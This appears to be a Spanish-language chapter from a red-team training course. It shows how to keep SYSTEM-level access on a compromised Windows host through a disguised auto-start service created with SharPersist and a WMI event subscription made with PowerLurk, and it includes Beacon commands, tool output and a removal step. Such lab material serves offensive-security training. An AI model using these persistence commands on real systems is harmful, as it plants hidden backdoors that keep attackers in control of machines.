Elevated Host Persistence

En el capítulo anterior sobre persistencia en el host, analizamos cómo obtener persistencia en el contexto de un usuario. Sin embargo, después de haber elevado nuestros privilegios en un host, también podemos agregar mecanismos de persistencia para mantener acceso como SYSTEM. Esto nos permite mantener el acceso elevado a una máquina sin tener que explotar una vulnerabilidad nuevamente (porque podría ser parcheada o solucionada más adelante).

Para que estos métodos funcionen, debes estar ejecutando en un Beacon de alta integridad.

Recuerda que los procesos SYSTEM no pueden autenticarse en el proxy web, por lo que no podemos usar HTTP Beacons. En su lugar, utiliza P2P o DNS Beacons.

Windows Services

Como vimos en el capítulo anterior, hay muchos servicios de Windows que se ejecutan como SYSTEM. Nuestros diversos medios para explotar servicios para la escalada de privilegios también actúan como persistencia, pero a costa de romper el servicio legítimo. En su lugar, podemos crear nuestro propio servicio, el cual no afectará los servicios existentes.

beacon> cd C:\Windows
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe legit-svc.exe

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t service -c "C:\Windows\legit-svc.exe" -n "legit-svc" -m add

[*] INFO: Adding service persistence
[*] INFO: Command: C:\Windows\legit-svc.exe
[*] INFO: Command Args: 
[*] INFO: Service Name: legit-svc

[+] SUCCESS: Service persistence added

Esto creará un nuevo servicio en estado STOPPED, pero con START_TYPE configurado en AUTO_START. Esto significa que el servicio no se ejecutará hasta que la máquina sea reiniciada. Cuando la máquina se inicie, también lo hará el servicio, y estará esperando una conexión.

WMI Event Subscriptions

La persistencia mediante eventos WMI se puede lograr aprovechando las siguientes tres clases:

EventConsumer
EventFilter
FilterToConsumerBinding

Un EventConsumer es la acción que queremos realizar, en este caso, ejecutar un payload. Esto puede ser mediante comandos del sistema operativo (como un one-liner en PowerShell) o VBScript. Un EventFilter es un disparador sobre el cual podemos actuar. Cualquier consulta WMI arbitraria puede utilizarse como filtro, lo que proporciona opciones prácticamente ilimitadas. Estas pueden incluir cuando se inicia un proceso en particular, cuando un usuario inicia sesión, cuando se inserta un dispositivo USB, cualquier hora específica del día o en un intervalo de tiempo determinado. El FilterToConsumerBinding simplemente vincula un EventConsumer y un EventFilter.

PowerLurk es una herramienta en PowerShell para construir estos eventos WMI. En este ejemplo, subiré un payload DNS en el directorio de Windows, importaré PowerLurk.ps1 y crearé una nueva suscripción a eventos WMI que lo ejecutará siempre que se inicie notepad.

beacon> cd C:\Windows
beacon> upload C:\Payloads\dns_x64.exe
beacon> powershell-import C:\Tools\PowerLurk.ps1
beacon> powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe

Puedes ver estas clases posteriormente usando Get-WmiEvent -Name WmiBackdoor. El CommandLineTemplate para el EventConsumer será simplemente C:\Windows\dns_x64.exe; y la consulta para el EventFilter será SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='notepad.exe'.

Abre notepad en Workstation 2 y aparecerá el DNS Beacon.

El backdoor puede ser eliminado con Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject.